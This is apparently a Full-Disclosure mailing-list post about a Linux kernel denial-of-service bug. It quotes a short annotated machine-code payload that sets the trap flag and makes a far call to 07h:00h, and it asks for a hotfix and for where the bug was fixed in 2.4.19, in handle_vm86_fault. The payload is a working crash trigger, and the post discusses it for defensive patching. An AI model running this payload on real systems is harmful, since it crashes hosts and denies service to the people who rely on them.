char dos[] = "\x9C" /* pushfd */ "\x58" /* pop eax */ "\x0D\x00\x01\x00\x00" /* or eax,100h */ "\x50" /* push eax */ "\x9D" /* popfd */ "\x9A\x00\x00\x00\x00\x07\x00"; /* call 07h:00h */
Has anyone come up with a hotfix for this (eg, a kernel module to temporarily patch the hole)? Where was this bug fixed in 2.4.19? The CHECK_IF_IN_TRAP stuff in handle_vm86_fault? -jim _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
